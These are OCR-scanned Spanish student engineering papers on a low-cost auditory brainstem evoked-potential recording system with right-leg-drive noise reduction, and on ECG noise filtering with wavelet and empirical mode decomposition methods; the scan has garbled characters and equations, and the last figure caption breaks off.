imagenes de tomografia computarizada de emisién de fotén
tnico (SPECT) o las imédgenes de resonancia magnética fun-
cionales (fMRI). Asimismo, podria estudiarse el rendimiento
del sistema cuando se emplean técnicas como la conocida
como Andlisis en Componentes Independientes (Independent
Component Analysis) [20], puesto que el uso de este tipo
de técnicas ha probado ofrecer mejores resultados que las
técnicas que emplean los voxeles como caracteristicas ([16],

[19D).
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Resumen— EI registro de potenciales evocados auditivos se
utiliza en hospitales y clinicas de todo el mundo como método de
deteccion de patologias auditivas y para estimar de forma
objetiva el umbral de audicion. Este documento proporciona
una descripcion completa y de bajo coste de un sistema de alto
rendimiento de registro de potenciales evocados auditivos del
tronco cerebral. Se describe el sistema de registro de potenciales
detalladamente, mostrando la configuracion de cada una de las
etapas y justificando su funcionalidad. Asimismo se demuestra
la necesidad de aumentar la razén de rechazo al modo comin
para las aplicaciones de electrocardiografia y encefalografia,
para lo cual se ha propuesto la técnica del dispositivo de pierna
derecha. La mejora de la eficiencia en este tipo de dispositivos
permitira una menor cantidad de ruido derivado de
interferencias eléctricas y de origen electromagnético.

Palabras clave—dispositivo de pierna derecha, potencial
evocado auditivo, respuesta evocada auditiva, tronco cerebral.

l. INTRODUCCION

La respuesta evocada auditiva representa la actividad
eléctrica que el sistema nervioso genera en respuesta a un
estimulo de origen sonoro o eléctrico. Esta actividad eléctrica
se compone de una serie de picos de voltaje de amplitudes
muy pequefias, representados con ndmeros romanos, que son
generados en diversos puntos del camino auditivo [4] y que
se puede registrar mediante unos electrodos de superficie (y
el correspondiente sistema de medida). La principal utilidad
clinica del registro de estos potenciales es la evaluacién de
los umbrales auditivos del paciente y la deteccion de ciertas
patologias, aunque también es de utilidad en el ambito de la
investigacion. Los potenciales de interés para este documento
son los generados en el tronco cerebral (ABR, auditory
brainstem response), que ocurren en los primeros 10 ms
desde que se genera el estimulo [7]. EI método mas comin
utilizado para determinar el umbral auditivo del paciente
consiste en la progresiva disminucién de la intensidad del
estimulo para detectar el nivel més bajo que aparece en la
onda V.

En este articulo se describe el disefio e implementacion de
un equipo portatil capaz de adquirir potenciales evocados
auditivos del tronco cerebral. Uno de los mayores desafios
que supone la realizacion de este sistema es la minimizacion
del ruido; debido a la reducida amplitud de la sefial bioldgica
a registrar (varias centenas de nanovoltios) se deben realizar
grandes amplificaciones sobre las muestras tomadas, lo cual
implica una gran contaminacion por artefactos de distinta
indole. Entre estos artefactos cabe destacar el ruido eléctrico
del preamplificador, los potenciales de accién asociados a
actividad neuro-muscular del propio paciente o interferencias
electromagnéticas de origen diverso, como por ejemplo las
causadas por la red eléctrica. En un intento de reducir este
grupo de artefactos se realiza un promediado de un gran
namero de registros para mejorar la relacion sefial-ruido. Esta
promediaciéon requiere que cada respuesta auditiva esté
sincronizada con el estimulo que la origind de modo que, con
un ndmero suficientemente grande de respuestas
promediadas, los artefactos no sincronizados tienden a
anularse mientras que la respuesta no se ve afectada por la
promediacion, al presentar retardos fijos con respecto al
estimulo y estar sincronizada con el mismo. Ademas de esta
respuesta promediada (que es el Gnico método que ofrecen
los equipos convencionales) podemos aplicar técnicas de
tratamiento digital sobre la sefial completa para reducir adn
mas el ruido registrado.
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Fig. 1. Esquema general del sistema de registro de potenciales [16].
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Il. SISTEMA DE REGISTRO DE POTENCIALES

En la Figura 1 se puede apreciar el procedimiento de
registro de potenciales evocados auditivos. En primer lugar
se estimula el sistema auditivo mediante clics de duracion de
0.1 ms, cuya intensidad es configurable desde el ordenador.
Este genera una sefial compuesta por un tren de impulsos que
se manda de manera sincrona a través de las dos salidas de un
conversor analdgico-digital / digital-analégico (AD/DA). Una
de las salidas del conversor AD/DA se conecta a una de sus
entradas con el propo6sito de sincronizar el estimulo para asi
poder realizar la promediacién, mientras que la otra salida se
conecta a unos auriculares a través de los cuales se excita el
sistema auditivo del sujeto para posteriormente registrar la
sefial deseada (en este caso un electroencefalograma) junto
con el ruido mediante tres electrodos situados en la cabeza.
Este electroencefalograma que se acaba de obtener pasa por
un amplificador, el cual estd compuesto por una etapa de pre-
amplificacion (reduccion de ruido en modo comun junto con
una pequefia amplificacion), una etapa de filtrado para
eliminar las frecuencias que no son de interés y una etapa
amplificadora. Ademas, con el objetivo de reducir ain mas el
ruido comun a los electrodos, el amplificador consta de un
dispositivo de pierna derecha (RLD, right leg drive) [22] que
se encarga de realimentar una cantidad de corriente segura
[21] al cuerpo del paciente para situar la tierra del sistema y
la tierra del sujeto al mismo nivel. Por Gltimo, tras pasar por
el amplificador la sefial se graba de manera sincrona junto
con la sefial de sincronizacién por ambas entradas de la
tarjeta de sonido y se procesa en el ordenador [1].

El disefio del amplificador se ha realizado por etapas. Para
la etapa pre-amplificadora se ha determinado que el modelo
implementado por Texas Instruments INA128 es el mas
adecuado para el sistema, debido principalmente a su
producto ganancia-ancho de banda reducido, a su alta tasa de
rechazo al modo comin (CMRR, common mode rejection
ratio), a su ganancia modificable, lineal y estable, a su alta
impedancia de entrada y a su baja impedancia de salida. Se
ha establecido una ganancia de 26 dB para evitar que el
potencial de offset introducido por los electrodos (0.3 V)

Electrodo
Activo

Electrodo de { RLD, |

tierra activa

sature etapas posteriores del amplificador. En la etapa de
filtrado, al ser la frecuencia de interés de entre 10 Hz y 3000
Hz se implementaron dos filtros anal6gicos de segundo orden
en cascada, uno paso alta y uno paso baja para acotar ese
rango de frecuencias. Tras esta etapa hay una segunda etapa
de gran amplificacion de la que se encargan dos
amplificadores en configuracion no inversora situados en
cascada, conformando una ganancia final del sistema de 82
dB. Los La Figura 2 muestra el diagrama del circuito
amplificador completo. Ademas del amplificador se
implementaron dos dispositivos RLD con el propésito de
poder comparar el rendimiento de cada uno de ellos haciendo
uso del mismo sistema y condiciones ambientales. Para ello
la eleccion del dispositivo RLD activo es controlable a través
de un conmutador. Para la etapa de filtrado, amplificacion y
para el dispositivo RLD se ha hecho uso de operacionales
OP-227 [23] debido a su alto producto ganancia-ancho de
banda, y por su reducido nivel de ruido.

I1l. DISPOSITIVO DE PIERNA DERECHA

La razon de rechazo al modo comln es un parametro
critico en un amplificador diferencial, y en especial en
aplicaciones de electrocardiografia y electroencefalografia.
En este tipo de aplicaciones la principal interferencia es la
causada por la red eléctrica. Ademas, el CMRR del sistema
puede degradarse como consecuencia de una serie de
desajustes en componentes internos o de factores externos en
el camino de la sefal, lo cual puede traducirse en hasta un
20% mas de contaminacion de la sefial. Por tanto la mejora
de este pardmetro ha sido objeto de muchos estudios,
habiéndose desarrollado muchas y muy diversas técnicas para
mejorarlo. Para este proyecto se implement6 un dispositivo
RLD, el cual se encarga de realimentar una cantidad de
corriente segura al sujeto con el objetivo de que el nivel de la
tierra del sistema y la del sujeto sea el mismo. Una gran parte
del desarrollo del proyecto ha consistido en disefiar y simular
diferentes configuraciones del dispositivo RLD con el
objetivo de obtener el mejor CMRR posible. Mediante el uso
de herramientas como Pspice y Matlab se determin6 que dos
de los modelos simulados eran los que mejor rendimiento
proporcionaban, con lo que fueron los modelos elegidos para
ser implementados en el proyecto. Sus esquematicos se
pueden observar en la Figura 3. Para evaluar el rendimiento

AdREIAL l

Fig. 2. Diagrama del circuito amplificador.
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Fig. 3. Par de dispositivos RLD implementados.

de estos dos dispositivos se realizaron dos experimentos en
varios sujetos bajo las mismas condiciones ambientales.
Otras técnicas que se considerardn para futuras
implementaciones son las que se nombran a continuacién: un
escudo de Faraday, el cual reduce el nivel de interferencia de
la fuente de energia que entra en el sistema, ademas de
proteger el dispositivo y los componentes de interferencias
ambientales; una capacidad de aislamiento, la cual se encarga
de reducir el CMRR del sistema aislando la tierra del
dispositivo y la del paciente, y por ultimo un filtro notch para
eliminar la componente de 50 Hz (Europa y Asia) o 60 Hz
(EEUU) de la red eléctrica. Sin embargo hay que tener
mucho cuidado con este Ultimo para que las sefiales del
mundo real no se comprometan con este tipo de filtrado, dado
que hay que asegurarse de que la informacidén de fase no esta
sesgada debido a la operacidn de filtrado.

El circuito completo (amplificador y dispositivos RLD) fue
implementado tanto en una placa de insercién como en una
placa de baquelita para poder comprobar el funcionamiento
fisico y poder obtener registros reales en diferentes sujetos.

IV. RESULTADOS

El rendimiento del sistema descrito fue evaluado mediante
la realizacion de dos experimentos en cuatro sujetos
normoyentes. El primer experimento fue disefiado para
obtener una medida de la eficiencia de ambos dispositivos
RLD implementados y determinar aquel con un rendimiento
mayor. Para ello no se introdujo ningln estimulo en ninguno
de los cuatro sujetos, y se realizaron cuatro tomas de registro
en cada uno de ellos, dos para cada RLD, una en condiciones
de baja contaminacién ruidosa y otras en un ambiente con
muchas interferencias, mayoritariamente causadas por la red
eléctrica. Este experimento mostro que en las frecuencias de
interés uno de los circuitos se comport6 de forma més robusta
frente al ruido que el otro, ademas de registrar menos
interferencias incluso en condiciones favorables. El segundo
experimento fue disefiado para registrar potenciales evocados
auditivos del tronco cerebral. Se emplearon para ello
estimulos de 10.000 clics a una tasa frecuencial de 33 Hz [18]
y unos niveles de intensidad de entre 40 y 100 dB nHL. Los
registros tomados por los electrodos se amplificaron vy
guardaron mediante el conversor AD/DA. La Figura 4
muestra una serie de registros reales tomados de uno de los
sujetos, lo que prueba que el sistema de registro de
potenciales implementado es capaz de obtener sefiales
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Fig. 4. Registro de potenciales del tronco cerebral a varias intensidades.

similares tanto en amplitud como en morfologia a los
potenciales originales dado que se pueden identificar
claramente las componentes méas importantes de los
potenciales, presentando la misma latencia y amplitud.

V. CONCLUSIONES

Este documento proporciona una descripcion completa y
de bajo coste de un sistema de alto rendimiento de registro
de potenciales auditivos del tronco cerebral. El sistema
descrito incluye un amplificador, una tarjeta externa de
sonido que actia como conversor AD/DA de dos canales de
entrada/salida, electrodos, cables y conectores y un
ordenador portatil con moédulos software. El sistema de
registro de potenciales aqui presentado posee un mayor
grado de flexibilidad y portabilidad que los sistemas de
registro comerciales, lo cual puede resultar atil para
determinadas aplicaciones de investigacion. Se ha descrito el
sistema de registro de potenciales detalladamente, mostrando
la configuracion de cada una de las etapas y justificando su
funcionalidad. Asimismo se demuestra la necesidad de
aumentar el CMRR para las aplicaciones de
electroencefalografia y electrocardiografia,
proporcionandose aqui varias técnicas para su mejora y
haciendo especial hincapié en la técnica del dispositivo
RLD. Se han simulado varias configuraciones de
dispositivos RLD con un programa de simulacién y se han
implementado fisicamente dos de estas configuraciones.
Ademas, se ha evaluado cual de ellas es méas eficiente
mediante la realizacion de dos experimentos. La blsqueda de
dispositivos RLD  eficientes  permitira  registrar
electroencefalogramas con menor cantidad de ruido derivado
de interferencias eléctricas y de origen electromagnético.
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Resumen—En este documento se aborda, de manera resumida,
el filtrado de seiiales obtenidas a partir de la actividad eléctrica
del corazén. El texto estid orientado a proporcionar una vision
general de como afectan y como pueden reducirse los diferentes
artefactos que contaminan una sefial de electrocardiograma.
Las técnicas de filtrado que se describen van desde un simple
filtrado FIR a técnicas novedosas que implican la aplicacion
de la transformada de Wavelet o la descomposicion empirica
en modos. Para la aplicacion de cada uno de los métodos, que
se expondran en secciones posteriores, se usaran tanto sefales
de electrocardiograma generadas mediante software asi como
sefiales reales obtenidas a partir de la pagina web de Physionet.
Para cada método se calculara la relacion seial ruido como
coeficiente cualitativo del filtrado.

Palabras clave—corazon, descomposicion empirica en modos,
electrocardiograma, filtrado, Physionet, ruido baseline wander,
ruido muscular, ruido procedente de la linea eléctrica, transfor-
mada de Wavelet.

I. INTRODUCCION

L electrocardiograma (ECG) es una de las técnicas mas
usadas para el diagndstico de enfermedades cardiacas.
Se basa en la colocacién de unos electrodos en unos puntos
estratégicos de la piel del paciente con la finalidad de registrar
la actividad eléctrica del corazén. Generalmente, la obtencion
de estas sefiales bioeléctricas se realiza en presencia de ruido,
por lo que se necesita recurrir a algoritmos del tratamiento
digital de sefiales para conseguir las sefiales lo mds libres
posibles de ruido para su posterior andlisis clinico. Los
posibles ruidos o artefactos que se tratardn de reducir son:
el ruido procedente de la linea eléctrica, el ruido de baseline
wander y el ruido muscular.
Los movimientos mecdnicos que ejecuta el corazén para
realizar su funcién de bombeo tienen su origen en un im-
pulso eléctrico que despolariza o repolariza las células del
corazén, provocando una contraccion o relajacioén en la pared
muscular del mismo. Este impulso eléctrico es el causante de
la morfologia que posee el ECG. Asi, dependiendo de que
zona del corazdén esta activando o relajando el ECG puede
ser dividido en diferentes ondas o segmentos [1]:
e Onda P: indica el comienzo de un nuevo pulso, es de
morfologia suave y refleja la despolarizacién auricular.

¢ Onda QRS: habitualmente denominado complejo QRS,
es la onda de mayor amplitud del pulso y en ella se ve
reflejada la despolarizacién ventricular.

e Onda T: indica la repolarizacién ventricular y posee una

morfologia suave.

En la ilustracién (1) se muestra un electrocardiograma en
el que se pueden diferenciar los diferentes segmentos.

II. ARTEFACTOS Y TECNICAS

Los artefactos que se intentardn reducir son: el ruido
procedente de la linea eléctrica (PLE), el ruido de baseline
wander (BW) y el ruido muscular (EMG). En este apartado
se indicardn las principales causas y caracteristicas de cada
uno de estos artefactos y qué técnicas han sido empleadas
para la reduccién de los mismos.

A. Ruido procedente de la linea eléctrica

Es uno de los artefactos mds habituales que se pueden
afladir a la sefial de ECG. Es un ruido caracterizado por
ser una interferencia sinusoidal de frecuencia 50 Hz, o 60
Hz, acompafiada incluso de arménicos. El acoplamiento del
ruido procedente de la linea eléctrica (PLE) en el electrocar-
diograma (ECG) provoca que el andlisis e interpretacion del
mismo sea mds dificil.

En el registro de un electrocardiograma las posibles causas
por las que la PLE puede interferir son: induccion magnética,
corrientes de desplazamiento inducidas tanto en las deriva-
ciones como en el propio cuerpo, imperfecciones en los
equipos de registro e interconexién con otros equipos [2].

Para la reduccién de este artefacto se proponen las técnicas
de: filtrado ranura, filtrado no lineal adaptativo, filtrado de
Wiener y filtrados adaptativos (NMLS y RLS).
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Fig. 1. Seiial de electrocardiograma real, ECG 16272 de la base de datos
de ritmo sinusal de Physionet, en la que se indican mediante colores los
diferentes segmentos que componen el electrocardiograma: onda R (rojo),
complejo QRS (azul) y onda T (negro).
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B. Ruido de baseline wander

El ruido de baseline wander (BW) o, linea de base en
espaifiol, es una interferencia de baja frecuencia que produce
una deformacién en la sefial de ECG que puede provocar
imprecisiones en la interpretacién clinica. Generalmente estd
contenida en frecuencias por debajo de 0.5-1 Hz, aunque
puede contener frecuencias mas altas en algunos casos, y su
origen es debido a diversos factores como: el movimiento y
respiracién del paciente o el mal contacto de los electrodos.
Este ruido se ve plasmado en un ECG cuando éste no se sitiia
sobre una linea de base contindia, sino que existen pequeias
fluctuaciones. La eliminacién de este artefacto es uno de los
primeros pasos en el proceso de andlisis del ECG. En la figura
(2) se muestra un electrocardiograma que posee ruido de BW.

Para la reduccién o eliminacién de este artefacto se han
aplicado las técnicas de: filtrado FIR simple y con alteracion
de frecuencia de muestreo, filtrado IIR hacia delante y hacia
atras, ajuste polinémico, filtrado adaptativo, filtrado media-
mediana junto a transformada de Wavelet, descomposicién
empirica en modos.

C. Ruido muscular

El dltimo de los artefactos que se tratan es el ruido
muscular (EMG). Es el artefacto mas perjudicial de los tres
que se abordan y debe su origen a la actividad eléctrica
que se genera por la contraccién muscular. Por lo tanto, es
un artefacto presente sobre todo en técnicas de registro de
ECG que impliquen la actividad del paciente como el test de
estrés o el electrocardiograma ambulatorio. Con respecto a
la caracteristicas de este artefacto, es un ruido aleatorio; ya
que depende del grado de contracciéon muscular, y también
es un ruido intermitente en el sentido en el que se afiade al
ECG s6lo en los intervalos de tiempo en los que se produce
la contraccién muscular.

El principal inconveniente que presenta este ruido es que
su densidad de potencia espectral se extiende a lo largo de
todo el complejo PQRST de la sefial de electrocardiograma
por lo que procedimientos para la reduccién de este artefacto
relacionados con el filtrado simple de la sefial son ineficientes.
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Fig. 2. Seiial de electrocardiograma real, ECG 101 de la base de datos de
arritmia de Physionet, con presencia de ruido de baseline wander (azul) y
linea de base (rojo).

Por consiguiente, para la reduccién o eliminacién de este
ruido se recurren a dos técnicas basadas en la transformada
de Wavelet y la descomposicién empirica en modos.

III. TRANSFORMADA DE WAVELET

La transformada de Wavelet (WT: Wavelet Transform)
es una técnica en la que, al igual que ocurre con otras
transformadas, la sefal inicial es descompuesta en funciones
basicas. En este caso, esta transformada descompone la sefial
en unas funciones denominadas Wavelets. La WT surge como
alternativa a la transformada de Fourier, en la que la sefial se
descompone en sinusoides, ya que presenta el inconveniente
de que no mantiene la informacién tiempo-frecuencia cuando
se aplica. Sobre todo, la WT es una técnica idénea para el
estudio de sefiales no estacionarias y transitorias [3].

Existen multitud de tipos de Wavelet en las que se puede de-
scomponer la sefial: Symlets, Daubechies, Haar, Biortogonal...
Todas ellas tienen que comin que son sefiales de duracion
limitada, media nula y cuya energia estd concentrada en un
intervalo pequefio de tiempo. En la ilustracion (3) se muestra
un tipo de Wavelet.

De esta transformada existen tanto versién continua como
discreta, aunque en este texto s6lo se centra en la WT
discreta. La transformada de Wavelet discreta (DWT) puede
ser implementada mediante un banco de filtros compuesto por
un filtro paso alta y un filtro paso alta complementarios [4].
De este modo, si la sefial es filtrada paso baja se obtiene
lo que se denomina coeficientes de aproximacién (cA) que
proporcionan la mayor parte de la informacién de la sefial; en
el caso de ser filtrada paso alta se obtienen los coeficientes
de detalle (cD) que dan informacién menos relevante sobre la
sefial filtrada. Este proceso de obtencién de ambos coeficientes
puede aplicarse iterativamente en el que ahora la sefal a
descomponer son los coeficientes de aproximacién obtenidos
en la iteracion anterior. Con este proceso se consigue descom-
poner la sefial inicial en diferentes niveles obteniendo tras el
proceso un vector de coeficientes de aproximacién y tantos
vectores de detalle como niveles de descomposicién de la
sefial.

Daubechies 10

Fig. 3. Ejemplo de sefial de Wavelet: Daubechies de orden 10.
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IV. DESCOMPOSICION EMP{RICA EN MODOS

La descomposicién empirica en modos (EMD: ’Empirical
Mode Decomposition) es una técnica novedosa usada para el
andlisis de datos no estacionarios [5]. El fundamento de esta
técnica es descomponer la sefial a tratar en un niimero finito de
funciones denominadas funciones de modo intrinseco (IMF:
Intrinsic Mode Functions).

Para que una sefial sea considerada un IMF debe de cumplir
dos condiciones:

o El nimero de extremos (maximos y minimos locales) y
el nimero de cruces por cero deben ser iguales.

« El valor medio de la envolvente definida por los maximos
locales y la definida por los minimos locales debe ser 0.

Para descomponer la sefal en estos IMFs se realiza un
proceso denominado sifting. Suponga que se tiene una sefial
x(t) 1a cual se quiere descomponer mediante EMD. El primero
de los pasos para la obtencion de un IMF es localizar los
maximos y minimos locales de la sefial para, a partir de ellos,
calcular la envolvente superior e inferior. Una vez determi-
nadas ambas envolventes, se calcula la media de ambas para
seguidamente substraerla a la sefial inicial x(z).

El resultado de realizar esta operacién generalmente no
se considera un IMF ya que no cumple las dos condiciones
expuestas anteriormente por lo que el proceso de sifting debe
ser aplicado en varias ocasiones hasta cumplirlas. Cuando la
sefial resultante las cumpla, se considera que se ha obtenido
el primer IMF. Para obtener mds IMFs se realiza el proceso
de sifting a la sefal definida como la substraccion de la sefial
x(t) y el primer IMF. La sefial resultante de la substracciéon
es conocida como residuo.

Una de las caracteristicas generales que se observan al
descomponer una sefial en diferentes IMFs y el residuo final,
es que la frecuencia de las componentes decae conforme
aumenta el orden de éstas tal y como se muestra en la
ilustracién (4).

V. REDUCCION DE RUIDO DE BASELINE WANDER

De todos los métodos expuesto para la reduccién de BW en
este apartado s6lo se describirdn, para no exceder la longitud

Empirical Mode Decomposition

signal

imfl

imf2

imf3

imf4

res.

Fig. 4. Descomposicion en funciones de modo intrinsecas: la sefial ha
sido descompuesta en 4 IMFs y un residuo. Se puede comprobar cémo
la frecuencia de los IMFs es menor conforme se aumenta el orden de los
mismos.
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del articulo, los relativos a la técnicas de WT y EMD :

A. Filtro media-mediana junto a transformada de Wavelet

Esta técnica se basa en la aplicacién de un filtro conjunto
media - mediana para obtener la contribucién de BW a la
sefial de ECG y, posteriormente, esta estimacion es suavizada
mediante la WT [6].

Una sefial contaminada con ruido de BW es procesada
mediante un filtro conjunto media mediana donde la salida
de sendos filtros es:

y(n) = (1 = a)z(n) + az(n) (D

donde « es una variable que toma valores entre 0 y 1 e
indica la contribucién de cada uno de los filtros.

Una vez se obtiene la sefial de salida del filtro, la con-
tribucion del BW a la sefial de ECG, se realiza un suavizado
de la misma con ayuda de la WT ya que esta primera
estimacion del BW puede introducir distorsién en la sefial.
Para ello, la salida del filtro es descompuesta en diferentes
niveles (M) y se comienza un proceso iterativo en el que la
seflal comienza a ser reconstruida desde el nivel M. En cada
reconstruccién de la sefial, se aplica un test de t-Student en el
que se compara la media de la diferencia entre la salida del
filtro y la sefial reconstruida comprobando si es nula, primera
hipétesis, o no nula, segunda hipdtesis. En la iteracién en
la que la se rechaza la primera de las hipdtesis del test, el
proceso finaliza. El tltimo paso es substraer la estimacién del
BW a la sefial de ECG original.

En la figura (5) se muestra como se suaviza la estimacion
del BW tras aplicar WT.

B. Descomposicion empirica en modos para la reduccion de
baseline wander

Esta técnica se basa en el conocimiento de la distribucién
en frecuencia del ruido de BW y de los IMFs en los que
se descompone la sefal al aplicar EMD [7]. De este modo,
teniendo constancia de que la frecuencia de este ruido es baja
y los ultimos IMFs son los de menor frecuencia, se realiza

BW estimado con filtro MEDIAN-MEAN
0.2t BW suavizado con Wavelet il

y

Amplitud (mV)

5 10 15 20 25 30
Tiempo (s)

Fig. 5. Contribucién del baseline wander a la sefial de ECG original. En azul
se muestra la estimacion realizada a partir del filtro conjunto media-mediana
y en rojo el resultado obtenido tras aplicar la transformada de Wavelet a la
contribucion obtenida con el filtro conjunto.



R. Maldonado Cuevas (tutores J.M. Gorriz Sdez, J. Ramirez Pérez de Inestrosa): Filtrado de sefiales de electrocardiograma

un filtrado paso baja a cada uno de los IMFs obteniendo de
este modo, una estimacion del BW. El filtrado que se lleva a
cabo se denomina filtrado multi-banda en el que a cada una de
las componentes de IMF, incluido el residuo, se le aplica un
filtro de diferentes caracteristicas. A continuacién se detalla
el fundamento de esta técnica:

Suponga que se tiene una sefial de ECG contaminada con
BW que ha sido descompuesta en n IMFs:

n+1
2(t) =Y ailt) 2
i=1
De todos IMFs obtenidos existe uno, denominado Q, a
partir del cual comienza la contribucién del BW a la sefial de
interés. Para determinar dicho IMF, como ya se ha comentado,
se realiza un filtrado paso baja a cada IMF y residuo:

y1 = hy * Cpia(t)
Yo = hg * Cn(t) (3)

Las frecuencias de corte obtenidas son aplicadas de forma
que la frecuencia de mayor valor (i=0) es aplicada al residuo,
la siguiente (i=1) es aplicada al ultimo IMF y asi sucesiva-
mente. El hecho de que la frecuencia de corte no sea uniforme
para todos los IMFs y se reduzca conforme disminuye el
orden es debido a que en IMFs de menor orden existe mayor
contribucién de la senal de interés que del baseline wander.

Una vez se realiza el cdlculo de la salida para cada filtro,
se calcula la varianza de cada y; para obtener la componente
Q. Para ello se recurre a un limite denominado ¢ el cual
determina si una componente dada es considerada IMF Q.
Se comparan de forma descendente la varianza de los IMFs
comprobando que var(yg—1) > ¢y var(yg) < ¢, si se
cumplen ambas desigualdades esa componente es la denomi-
nada componente Q.

Ya conseguida la componente Q, simplemente tenemos que
realizar la estimacién del BW:

Q
BW(t)=> uilt) 4)
i=1

Por ultimo la estimacion es substraida a la sefial de ECG
original: .
Z(t) = z(t) — BW(t) ()]

VI. REDUCCION DE RUIDO MUSCULAR

Para la reduccién o eliminacién de este artefacto se re-
curren a dos técnicas basadas en transformada de Wavelet y
descomposicién empirica en modos.

A. Descomposicion empirica en modos para la reduccion de
ruido muscular

Este método se basa en la descomposicién de la sefial
de electrocardiograma en diferentes IMFs y en modificar
aquellos que contribuyen al ruido muscular para, posterior-
mente, realizar una reconstruccion de la sefial de ECG [7]. La
modificacién que se lleva a cabo en cada uno de dichos IMFs
consiste en un enventanado de los mismos sobre el complejo

QRS consiguiendo, eliminar el ruido y mantener intacto el
complejo QRS de la sefial de ECG.

Una vez la sefial ha sido descompuesta en los diferentes
IMFs, el primer paso que se realiza es identificar qué IMFs
contribuyen al ruido muscular de la sefial. Para ello, se acepta
la premisa de que el ruido que contamina a la sefial de ECG
es de media nula mientras que la sefial de interés no. Ademas
se conoce que el ruido muscular generalmente es un ruido que
se extiende por los IMFs de mayor frecuencia, es decir, los
primeros IMFs. En consecuencia, se aplica un test estadistico
denominado test de t-Student en el que se comprueba si la
media de la suma parcial de los IMFs es nula. Se expresa la
suma parcial de orden M como:

N
CM =Y cilt) (6)
i=1

El orden de suma parcial comienza en 1 y aumenta hasta
conseguir que se rechace la primera hipdtesis del test de t-
Student, es decir, que la media de la suma parcial ya no sea
nula. En el caso en que, la sefial de ECG sea de media nula y
la aplicacidn del test dé como resultado un nimero de IMFs
considerados ruidosos mayor de 5, dicho valor serd restringido
as.

El siguiente paso es delimitar los complejos QRS que
conforman cada pulso de la sefial de electrocardiograma. Para
ello, la primera tarea es determinar los puntos fiduciales de
la sefial de ECG situados en el punto mdximo del segmento
R de cada pulso. Seguidamente se calcula la suma de los
tres primeros IMFs dando como resultado la sefial d(z). A
partir de esta sefial y con ayuda de las posiciones de los
puntos fiduciales, se obtiene a izquierda y derecha de cada
uno de ellos el minimo local y el cruce por cero. La pareja
de cruces por cero obtenida para cada punto fiducial delimitan
la longitud del complejo QRS.

Una vez se tienen definidos todos los complejos QRS se
puede crear una ventana que posea una region plana durante
ese intervalo de tiempo y que vaya atenuando hasta llegar al
valor 0. En este caso, se utilizara una ventana de Blackman-
Tukey en la que su regién plana queda definida por los cruces
por cero (71) y su zona de transicién (|7 — 72|) es no abrupta
para reducir distorsiones. Esta region de transicién varia en
funcién del orden del IMF al que se le va a aplicar, de este
modo, para 6rdenes altos la curva decaerd de forma mas suave
que para el caso de los primeros IMFs tal y como se indica
en la ilustracién (??).

También se crea una ventana complementaria a la ventana
de Blackman-Tukey que tiene la finalidad contraria a la ven-
tana inicial: atenuar el complejo QRS y afiadir una pequefia
porcién de ruido evitando asi cambios abruptos en el complejo
QRS.

Una vez quedan definidas las ventanas y sobre qué IMFs
deben ser aplicadas, la sefial de ECG reconstruida sigue la
expresion:

P N
T = Zw(t)ci(t)‘f‘z aiwcomp(t)ci(t)—f— Z Ci(t)'f‘?"j\[(t)
= =1 i=P+1

(N
donde P es el orden de IMFs considerados ruidosos y «;
es un coeficiente de atenuacién que varia entre 0 y 1.
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B. Transformada de Wavelet con thresholding

Esta técnica se basa en la aplicacién de un thresholding a
los coeficientes de detalle de la sefial obtenidos tras la apli-
cacién de la WT [8]. El método esta basado en un algoritmo
presentado por Johnstone y Donoho donde muestran como
reducir el ruido de una sefial eliminando algunos coeficientes
de detalle de la sefial original [9].

El primer paso para realizar la WT a la sefial de ECG para
obtener los diferentes coeficientes de aproximacion y detalle.
Una vez es descompuesta la sefial, se aplica un umbral a los
coeficientes de detalle.

El umbral que se aplica es denominado ’soft threshold-
ing’[10]. El ’soft thresholding’ sigue la siguiente ecuacién:

eD., :{ (S)gn(cD)(chl -1T) zz

donde ¢D son los coeficientes de detalle y T es el valor del
umbral.

Para el cdlculo del umbral, cuyo valor es adaptativo y
supone una mejora de la ecuacién inicial propuesta por
Donoho [10], se calcula mediante la siguiente ecuacion:

T, = iai\/2log(Ni) 9)

(2

cD>T
cD<T ®)

El pardmetro p,; es calculado como:

i = max(|eD;]) (10)
Y o es la varianza del ruido y se obtiene de la siguiente

forma:
_ mediana(|cD;])

.= 1
7 0.6745 an

Y N; es la longitud de los coeficientes de detalle en el nivel
Una vez es aplicado el ’soft thresholding’ a los coeficientes

de detalle, la sefial es reconstruida a partir de los coeficientes
de aproximacién y los nuevos coeficientes de detalle.

_ i ‘ l ECG tras MM + Wavelet‘
2 OA A A AN A AN AL A A A_‘ A M A, A Al
g 1[" '[ *1l"* || "1[ = N
< g5} ]
1 i
5 10 15
Tiempo (s)
15 T
_ i ECG con BW
ER A ML A
2 || vl 'l " I' 1[ =
< o5} 4
-1 i
5 10 15
Tiempo (s)

Fig. 6. Comparativa entre la sefial obtenida tras la aplicacion del método
filtro media-mediana con WT y sefial original con BW. Tanto sefial de ECG
como artefacto son sintéticos. Se puede comprobar cémo se ha reducido el
BW de la seiial inicial.
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VII. RESULTADOS

En este apartado se van a presentar los resultados obtenidos
para las técnicas que se han explicado en este articulo. Para
la aplicacién de todos los métodos se han usado tanto sefales
de ECG generadas mediante el software Matlab como sefiales
reales de la base de datos de Physionet [11]. Al igual que
la sefiales de ECG, los artefactos que presentan pueden ser
obtenidos de la base de datos real o generados mediante
Matlab.

A. Filtro media-mediana junto a transformada de Wavelet

Para la aplicacién de este método se va a usar una sefial
de ECG sintética y un ruido de BW también sintético. El
valor de o que indica la contribucién de cada filtro ha tomado
un valor de 0.5 y la ventana necesaria para el calculo de la
media y mediana de la sefial tiene una longitud de un tercio
de la frecuencia de muestreo, en este caso, toma un valor de
166 muestras. Para la aplicacién de la WT se ha usado como
Wavelet la sefial Daubechies de orden 6 y la estimacién del
BW ha sido reconstruida con 9 niveles. Con respecto a la
SNR obtenida, se ha conseguido una mejora de 5.9 dB con
respecto a la SNR inicial. En la ilustracién (6) se muestra
c6mo ha mejorado el ECG tras la ampliacién del método.

B. Descomposicion empirica en modos para la reduccion de
baseline wander

En este caso, para ejecutar esta técnica se va a utilizar
una sefial de ECG real obtenida de la base de datos de
arritmia, concretamente la seflal 103. A ella se le ha afiadido
mediante simulacion el artefacto de baseline wander. Se ha
descompuesto la sefial en 12 IMFs y se ha aplicado como
frecuencia de corte inicial (wg) un valor de 0.8. El factor
M toma el valor 80 y el IMF a partir del cual comienza la
contribucién del BW ha resultado ser el IMF ndmero 8. Con
respecto a la SNR la mejora ha sido de 6.38 dB. En la figura
(7) se indica el resultado obtenido.

1400

ECG reduccién BW

1200

1000

Amplitud (bits)

800 i i i i
0

1600

1400

1200

1000

Amplitud (bits)

800

600
0

Tiempo (s)

Fig. 7. Comparativa entre la sefial obtenida tras la aplicacién del método
